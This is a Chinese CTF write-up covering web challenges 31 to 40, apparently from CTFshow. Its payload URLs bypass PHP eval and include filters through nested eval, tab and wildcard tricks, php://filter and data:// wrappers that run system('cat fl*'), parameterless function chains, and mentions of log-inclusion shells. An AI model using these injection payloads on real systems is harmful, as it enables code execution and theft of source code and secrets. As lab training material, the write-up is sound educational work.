Web 31~40
- web31
- 知识点
- 题解
- web32
- 知识点
- 题解
- web33
- 知识点
- 题解
- web34
- 知识点
- 题解
- web35
- 知识点
- 题解
- web36
- 知识点
- 题解
- web37
- 知识点
- 题解
- web38
- 知识点
- 题解
- web39
- 知识点
- 题解
- web40
- 知识点
- 题解
web31
知识点
这里依旧可以用到 web29 的方法:
- 嵌套eval逃逸参数
当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是
- url编码
- Linux:通配符、其他命令
题解
过滤了空格、点、单引号和cat
方法一:
经典逃逸
url + ?c=eval($_GET[1]);&1=system('tac flag.php');
方法二:
空格的绕过可以使用 %09
(tab)
使用通配符来匹配文件
url + ?c=echo%09`tac%09fl*`;
方法三:
利用无参数函数:
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
等多种方法
cat被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
web32
知识点
- PHP:伪协议、文件包含、php代码的闭合。
题解
源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。
方法一:
嵌套include文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)
url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码过后的源码。
原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。
方法二:
与方法一大同小异
url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
web33
知识点
- PHP:伪协议、文件包含
题解
在上一题的基础上过滤了双引号。
方法一:
既然过滤了双引号,那就直接加变量名。
url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
知识点
- PHP:伪协议、文件包含
题解
相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。
url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
web35
知识点
- PHP:伪协议、文件包含
题解
相比上题过滤了 < 和 = 。不过还是没有影响。
继续沿用上一题payload
url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
不要被迷惑了,第一个等号是用来传参的
得手
web36
知识点
- PHP:伪协议、文件包含
题解
过滤了0-9的数字和反斜杠
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)
但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。
url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
知识点
- PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,<?php echo hello?>';
include($c);
//php中,以上代码相当于包含了 <?php echo hello?>
题解
本题直接提供了一个include函数
方法一:
data伪协议配合通配符绕过
url + ?c=data://text/plain,<?php system('cat fl*')?>
方法二:
利用base64编解码
先对 <?php system("cat flag.php");?> 进行base64编码
再利用伪协议传输
url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web38
知识点
- PHP:伪协议(data://)、文件包含、短标签
题解
解法一:
可以继续沿用上一题的payload。
url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
解法二:
php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过
url + ?c=data://text/plain,<?=system('tac fla?.???')?>
<?= 是PHP的一个短的开放式标签,是echo的开放式用法。
解法三:
nginx的日志文件/var/log/nginx/access.log
题目提示可以通过包含日志文件拿shell。
这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试
web39
知识点
- PHP:伪协议(data://)、文件包含
题解
会在后面拼接一个 .php,但是过滤了flag
解法一:
闭合 include函数,让拼接不执行
url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php
解法二:
其实不用做其他处理,直接用通配符代替传参即可
url + ?c=data://text/plain,<?php system('cat fl*')?>
因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。
data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用
web40
知识点
- 无参数函数
题解
过滤了很多东西,但是下面是eval,可以直接函数执行
而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
所以还是可以使用括号。
解法一:
使用无参数函数。
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
解法二:
题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。